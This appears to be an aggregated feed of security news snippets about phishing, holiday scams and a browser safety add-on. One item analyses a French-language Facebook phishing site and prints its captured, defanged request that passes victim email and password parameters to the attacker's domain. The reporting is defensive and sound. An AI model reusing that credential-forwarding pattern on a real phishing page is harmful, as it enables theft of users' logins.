Will sharing malware lists help? (ZDNet Asia)
Industry watchers are divided over whether browser companies should make public blacklists of phishing sites to provide better protection for Internet users. Compare your salary Use the IT salary benchmark wizard and know the average salary differences between different job functions. Join activeTechPros. http://www.activetechpros.comsource
The 12 Scams of Christmas (Guardian Unlimited)
McAfee has produced a useful list of The 12 Scams of Christmas , starting with Charity Phishing Scams and ending with Laptop Theft. It includes Dangerous Holiday-related Search Terms, and provides a list. Santa screensavers, Santa ringtones and Santa wallpapers can be packaged with adware, spyware or worse, and McAfee suggests you use its own [...]
Facebook Phishing Site Targets French Users
Today I discovered a new Facebook phishing site targeting French users. The login page looks identical to the official Facebook site, but the phishing site passes the victims credentials through a submission form before redirecting them to the official Facebook login site. Source: Connection:(Passing the victims credentials over to the attacker)GET hxxp://www.facebook-online.com/next.php?charset_test=%E2%82%AC%2C%C2%B4%2C%EF%BF%BD%2C%EF%BF%BD%2C%3F%2C%3F%2C%3F&locale=fr_FR&email=victim@domain.com&pass=victimpass&pass_placeholder=Mot+de+passe&charset_test=%E2%82%AC%2C%C2%B4%2C%EF%BF%BD%2C%EF%BF%BD%2C%3F%2C%3F%2C%3F(Redirecting to the official [...]
Cyber Monday Brings Out Online Schemes (NBC Dallas Fort Worth)
Early estimates have today’s “Cyber Monday” traffic up more than 17 percent over last year. But along with that, security experts say phishing and malicious spyware attacks are already on the rise.source
WOT Releases Extended Protection for Web-Based Email Users (PRWeb)
WOT, Web of Trust, extends the security protection of its popular browser add-on to the top three Internet-based email services — Google Gmail, Windows Live Hotmail and Yahoo! Mail. WOT checks links embedded in email and warns users of dangerous websites to help them avoid spyware, spam, phishing, identity theft and other Internet fraud, before [...]